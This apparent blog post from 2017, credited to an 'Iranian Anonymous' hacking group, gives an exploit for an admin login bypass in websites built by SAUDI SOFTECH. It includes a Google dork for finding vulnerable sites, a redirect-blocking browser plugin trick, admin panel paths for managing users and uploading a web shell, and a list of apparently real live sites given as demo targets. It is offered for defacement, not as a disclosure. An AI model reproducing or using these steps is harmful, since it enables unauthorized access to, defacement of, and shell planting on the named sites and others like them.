SAUDI SOFTECH Admin Login Page Bypass | Upload shell access

Unknown   June 18, 2017   Deface, Hacking, Tips & Trik, xploit   Comment  

# Exploit Title: SAUDI SOFTECH Admin Login Page Bypass | Upload shell access
# Google Dork : intext:"Designed By: SAUDI SOFTECH (MST)"
# Date:2017-06-14
# Discovered By: Ormazd
# We Are Iranian Anonymous
# Home: Iranonymous.org
# Version: all
# Tested on : Win 10
##########################
## DP ##
Install NoRedirect Plugin to FireFox
Add your target url to NoRedirect plugin and pervent Redirect
than you can use :
target.com/panel/users.php ---> to add or remove or edit user
target.com/panel/pages.php ---> to add or remove or edit pages
target.com/panel/file.php ---> to add or remove or edit files ( you can upload shell :D )
############################


Demo:
http://www.und-ksa.com/panel/
http://www.madicc.org/panel/
http://www.tisco.com.sa/panel/
http://www.speetech.net/panel/
...

#############################

#Thanks to : MR.Khatar ||Turk-Khan || Blackwolf_Iran ||ll_azab-siyah_ll ||Sh@d0w ||Hellish_PN (mamad khodesh) ||Shdmehr ||

And All Of Iranian Anonymous .